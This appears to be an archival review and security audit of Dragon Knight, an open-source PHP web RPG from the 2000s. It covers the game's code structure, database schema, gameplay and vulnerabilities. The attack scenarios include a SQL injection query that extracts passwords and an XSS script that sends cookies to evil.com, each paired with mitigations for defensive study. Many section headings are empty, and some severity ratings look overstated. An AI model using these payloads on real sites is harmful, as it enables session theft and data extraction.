An homage to classic JRPGs, Dragon Knight brings turn-based battles, bold exploration, and charming progression to life. Begin in humble towns, gear up for the road ahead, and test your mettle against monsters that demand clever tactics and smart resource management. With spells to learn, items to craft, and gear to earn, every fight inches you closer to becoming a legend.
Nostalgia powers the adventure, but depth keeps you playing. Choose your path, master your class, and push deeper into dangerous lands for bigger rewards. Whether you’re optimizing builds, chasing rare drops, or savoring the rhythm of well-paced encounters, Dragon Knight delivers the satisfying loop fans of turn-based fantasy crave.
Game Title: Dragon Knight
Version: 1.1.11 (March 26, 2006)
Author/Studio: Jamin Seven (renderse7en)
Release Date: Original 2003, v1.1.11 released March 2006
Genre: Web-based RPG / Dragon Warrior tribute
Language: PHP 4.1+
License: Open-source with restrictions (no redistribution, no copyright removal)
Official Site: dragon.se7enet.com (historical)
Dragon Knight was explicitly created as a web-based tribute to the NES game Dragon Warrior. The fighting system directly emulates Dragon Warrior's turn-based combat, though the author expanded beyond the original inspiration with additional features. This was Jamin Seven's first game, released as open-source to help others learn web-based RPG development. The v1.1.11 release represents the final maintenance version after multiple security fixes between 2004-2006.
Dragon Knight v1.1.11/ (79 files, 4 TXT documentation files)---
Primary Scripts:
index.php (13.7 KB) - Main game controller, routing engineadmin.php (69.3 KB) - Comprehensive admin control panelfight.php (32.5 KB) - Turn-based combat system (Dragon Warrior-style)install.php (50.6 KB) - Database installer with complete/partial setuptowns.php (23.1 KB) - Shop/inn/travel mechanicslib.php (14.3 KB) - Common functions, database abstractionconfig.php (550 bytes) - Database credentials (empty by default)Secondary Scripts:
users.php (12.6 KB) - Registration/profile managementlogin.php (1.3 KB) - Authenticationcookies.php (1.3 KB) - Cookie handlingexplore.php (1.6 KB) - Map movementheal.php (2.0 KB) - Healing/spell castingforum.php (6.0 KB) - Built-in forum systemhelp_*.php (4 files) - Help documentation for items/levels/monsters/spellsupgrade_*.php (2 files) - Version upgrade scriptsTemplate System:
templates/ directory (not fully visible, but referenced in lib.php)gettemplate() functionStrengths:
Weaknesses:
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index.php?do=action:param)Table Count: 11 tables (all use configurable dk_ prefix)
Core Tables:
Schema Design Quality:
1. Routing System (index.php):
if (isset($_GET["do"])) {
$do = explode(":",$_GET["do"]);
if ($do[0] == "inn") { include('towns.php'); inn(); }
elseif ($do[0] == "fight") { include('fight.php'); fight(); }
// ... etc
}
2. Database Abstraction (lib.php):
function doquery($query, $table) {
global $numqueries;
$sqlquery = mysql_query(str_replace("{{table}}", $dbsettings["prefix"] . "_" . $table, $query));
$numqueries++;
return $sqlquery;
}
3. Template System:
function parsetemplate($template, $array) {
foreach($array as $a => $b) {
$template = str_replace("{{{$a}}}", $b, $template);
}
return $template;
}
{{{var}}}4. Security Layer (lib.php):
// Magic quotes handling + forced addslashes + htmlspecialchars
$_POST = array_map('addslashes_deep', $_POST);
$_POST = array_map('html_deep', $_POST);
$_GET = array_map('addslashes_deep', $_GET);
$_GET = array_map('html_deep', $_GET);
checkcookies() function validates on every page load---
Dragon Knight follows a classic single-player RPG progression loop:
1. Town Phase:
2. Exploration Phase:
3. Combat Phase (Dragon Warrior-style):
sqrt(strength) out of 150sqrt(dexterity) out of 150/2004. Character Progression:
maxhp,50 or strength,50---
dk_users (Player Data):
id (INT), username, password (md5), email, charname, charclass (1-3)level, currentexp, goldcurrenthp, maxhp, currentmp, maxmp, currenttp, maxtpstrength, dexterity, attackpower, defensepowerweapon, armor, shield (item IDs)helm, gloves, boots (not used in default game)latitude, longitude (position)currentaction (In Town/Exploring/Fighting)currentmonster, currentmonsterhp, currentmonstersleep, currentmonsterimmunecurrentfight (round number)drops (comma-separated drop item IDs)spells (comma-separated spell IDs)difficulty (1-3)authlevel (0=regular, 1=admin, 2=banned)verify (email verification code)regdate, onlinetime (DATETIME timestamps)dk_items (Equipment):
id, type (1=weapon, 2=armor, 3=shield)name, buycost, attribute (primary stat bonus)special (comma-separated bonuses like maxmp,50)dk_monsters (Enemies):
id, name, levelmaxhp, maxdam, armorimmune (0=none, 1=magic damage, 2=sleep)expgain, goldgaindk_drops (Stat Boosters):
id, name, minlevel (required level to drop)rarity (drop chance weight)attribute, special (stat modifications)dk_control (Game Configuration - Single Row):
gamename, gamesize, gameopen (0/1)gameurl, adminemailforumtype (0=disabled, 1=internal, 2=external)forumaddressclass1name, class2name, class3name (default: Mage/Warrior/Paladin)diff1name, diff2name, diff3name (default: Easy/Medium/Hard)diff2mod, diff3mod (default: 1.2, 1.5)compression (gzip), verifyemail, shownews, showonline, showbabble (feature toggles)dk_levels (Level-Up Stats):
id (level number){class}_exp (cumulative EXP required){class}_hp, {class}_mp, {class}_tp (stat gains){class}_strength, {class}_dexterity (stat gains){class}_spells (spell ID unlocked at this level, 0=none)1_exp, 1_hp, 1_mp for Mage (class 1)---
1. Security-Conscious (for 2006):
addslashes_deep() and html_deep()2. Well-Documented:
3. Modular Design:
4. Configuration Flexibility:
5. User Experience Features:
1. Deprecated Technology:
2. Security Vulnerabilities:
CVE-WORTHY ISSUES:
a) Empty Default Credentials (CRITICAL - CVSS 9.8):
// config.php lines 4-9
$dbsettings = Array(
"user" => "", // MySQL username.
"pass" => "", // MySQL password.
"name" => "", // MySQL database name.
"secretword" => ""); // Secret word for cookie hashing.
b) Weak Cryptography (HIGH - CVSS 7.5):
// cookies.php - Password stored as md5(password + secretword)
// No per-user salt, weak MD5 algorithm
c) SQL Injection Potential (MEDIUM - CVSS 6.5):
d) XSS Potential (MEDIUM - CVSS 6.1):
3. Architectural Issues:
extract() usage in admin.php (creates variables from user input)4. Performance Concerns:
5. Missing Modern Features:
---
Critical Blockers:
Modernization Effort Required:
Estimated Modernization Cost:
Preservation Worthiness: 8/10
Dragon Knight represents an important artifact in early web-based RPG development:
Archival Recommendations:
Similar Engines (2003-2006 era):
Dragon Knight's Unique Position:
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| Vulnerability | Severity | CVSS Score | Exploitability | Impact |
|---|---|---|---|---|
| Empty Default Credentials | CRITICAL | 9.8 | Easy | Complete system compromise |
| MD5 Password Hashing | HIGH | 7.5 | Medium | Account takeover via rainbow tables |
| SQL Injection Potential | MEDIUM | 6.5 | Medium | Data breach, privilege escalation |
| XSS in User Content | MEDIUM | 6.1 | Easy | Session hijacking, phishing |
| No CSRF Protection | MEDIUM | 5.4 | Easy | Unauthorized actions |
| Cookie Replay Attacks | MEDIUM | 5.9 | Medium | Session hijacking without HTTPS |
1. Default Credential Exploitation:
Attack Vector: Fresh installation with unchanged config.php
Steps:
- Attacker finds Dragon Knight installation
- config.php left with empty credentials
- Database accessible with root/empty password (common in dev environments)
- Attacker gains full database access
- Extracts password hashes, modifies user accounts to admin level
Mitigation: Force configuration wizard, validate credentials before allowing game access
2. MD5 Rainbow Table Attack:
Attack Vector: Stolen database dump or SQL injection
Steps:
- Attacker obtains dk_users table dump
- Passwords hashed as md5(password + secretword)
- If secretword empty or known, attacker uses rainbow tables
- Common passwords cracked within minutes
- Admin account compromised, full game control
Mitigation: Replace with bcrypt/Argon2id, unique salts per user
3. SQL Injection via Magic Quotes Bypass:
Attack Vector: Multibyte character encoding tricks
Steps:
- Attacker sends crafted input with multibyte characters
- addslashes() bypassed via encoding manipulation
- Malicious SQL injected into query
- Example: ?do=onlinechar:1 UNION SELECT password FROM dk_users WHERE id=1
- Database contents extracted or modified
Mitigation: Replace with prepared statements (PDO/MySQLi)
4. XSS in Babblebox/Forum:
Attack Vector: User-generated content not fully sanitized
Steps:
- Attacker posts message with: <script>fetch('evil.com?c='+document.cookie)</script>
- If htmlspecialchars() misconfigured or bypassed, script executes
- Other users' session cookies stolen
- Attacker hijacks admin session
Mitigation: Use HTML Purifier, Content-Security-Policy headers
Why Not 0/10?
Why Not Higher?
OWASP Top 10 (2021) Violations:
PCI-DSS Compliance: FAIL (if processing payments)
GDPR Compliance: ⚠️ PARTIAL (email collection without explicit consent forms)
COPPA Compliance: UNKNOWN (no age verification)
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Novel Features (for 2003-2006):
Derivative Elements:
Missed Opportunities:
Strengths:
Weaknesses:
Positive Aspects:
Negative Aspects:
Retention Factors:
Churn Factors:
Dragon Knight was moderately influential in the early 2000s web-based RPG scene:
Why Not Higher?
---
Preservation Strategy:
If Considering Modernization:
DO NOT attempt unless:
If modernizing, prioritize:
Modern Tech Stack Recommendation:
Estimated ROI: NEGATIVE - 400 hours × $75/hr = $30K investment for niche game with limited monetization
Playing in 2025:
Setup Requirements:
php:5.6-apache image)Expectations:
Alternative Recommendations:
Archival Value: ⭐⭐⭐⭐☆ (4/5)
Why Worth Preserving:
Rareness: ⭐⭐⭐☆☆ (3/5)
Summary: Dragon Knight v1.1.11 is a well-crafted educational artifact from the mid-2000s web-based RPG era. Jamin Seven created a clean, functional tribute to Dragon Warrior with good documentation and attention to detail. However, it is completely unsuitable for 2025 deployment without a ground-up rewrite addressing critical security vulnerabilities and PHP 7.0+ incompatibility.
config.php contains empty database credentials and secretword - CVSS 9.8 critical vulnerability allowing instant compromise.
Status: CRITICAL DEFAULT CREDENTIALS (Empty config). Action: EDUCATION/ARCHIVE ONLY. Modernization: $30k (400 hours). Verdict: Historical artifact only - deployment would be negligent.
Dragon Knight v1.1.11 is a 2003-2006 open-source web-based RPG by Jamin Seven (renderse7en, dragon.se7enet.com) explicitly created as a Dragon Warrior tribute with turn-based combat, 3 classes (Mage/Warrior/Paladin), 3 difficulty modes, 30 levels, coordinate-based exploration (250×250 grid), shop/inn/travel systems, built-in forum, comprehensive admin panel (69.3 KB admin.php), and excellent documentation (README, INSTALL, CHANGELOG, UPGRADE). Game features classic RPG mechanics: physical attacks based on attackpower vs monster armor, 5 spell types (heal/damage/sleep/+ATK%/+DEF%), dexterity-based dodge (sqrt(dex) out of 150), critical hits (sqrt(strength) out of 150), equipment progression, and Dragon Warrior-faithful combat formulas. Technical implementation uses custom routing system (index.php action-based), template engine (parsetemplate with {{{var}}} syntax), database abstraction (doquery with {{table}} prefix injection), and security layer (addslashes_deep + html_deep on all superglobals). 79 files (~500 KB), 35 PHP scripts, 37 GIF graphics, clean file separation, web-based installer (install.php complete/partial setup). However, the codebase contains CATASTROPHIC security failures: empty default credentials in config.php (CVSS 9.8 - users may forget to configure), empty secretword allowing cookie forgery, MD5 password hashing without per-user salt (rainbow table vulnerable), deprecated mysql_* functions (PHP 7.0 removed 2015), magic_quotes dependency (PHP 5.4 removed 2012), SQL injection potential via addslashes bypass, XSS in forum/babblebox, and no CSRF protection. Security rating: 2/10 - guaranteed compromise if defaults unchanged. Modernization cost: $30,000 (400 hours: PDO rewrite, bcrypt migration, security audit). Innovation rating: 5/10 for clean Dragon Warrior tribute with good documentation. Modern viability: 1/10 - PHP 7+ incompatible, critical security flaws. Recommendation: Preserve as historical artifact of mid-2000s web game development, study Dragon Warrior combat implementation, use for security training (default credentials cautionary tale), run in isolated Docker environment for nostalgia only, NEVER deploy publicly. This represents polished indie game development from pre-framework PHP era with educational value but zero deployment viability.
| Category | Visual Rating | Score | Assessment |
|---|---|---|---|
| Innovation (2003-2006) | 5/10 | Faithful Dragon Warrior tribute, clean routing, good docs | |
| Security | 2/10 | Empty default credentials (CVSS 9.8) + MD5 + no CSRF | |
| Code Quality | 6/10 | Clean separation, custom routing, template system | |
| Documentation | 4.5/5 | Excellent: README, INSTALL, CHANGELOG, UPGRADE | |
| Feature Completeness | 3.5/5 | 3 classes, 30 levels, forum, admin panel, shops/inns | |
| Modern Viability | 1/10 | mysql_* removed PHP 7.0, empty credentials, MD5 | |
| Modernization Cost | $30k | 400 hours: PDO, bcrypt, security audit, PHP 8 | |
| Historical Value | 4/5 | Dragon Warrior tribute, mid-2000s PHP patterns, educational | |
| Archival Priority | HIGH | Complete docs, clean code, PHP 5.6 environment vanishing | |
| Overall Verdict |
D- (DO NOT DEPLOY) |
Archive/education only - empty credentials = instant compromise | |
Best Use Cases in 2025:
Historical Legacy: Dragon Knight deserves recognition as a polished example of mid-2000s indie web game development. While technically obsolete, it represents a specific moment in gaming history when developers could create compelling multiplayer experiences with basic PHP/MySQL knowledge. Its open-source-but-restricted license and comprehensive documentation set it apart from contemporaries.
Preservation Priority: HIGH - Archive before PHP 5.6 environments become completely extinct.
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Analysis Completed: December 2025
Confidence Level: 95% (based on complete source code review, all documentation examined)
Recommended Action: Archive for historical purposes only - DO NOT DEPLOY PUBLICLY
Next Game in Collection: dragon_sword
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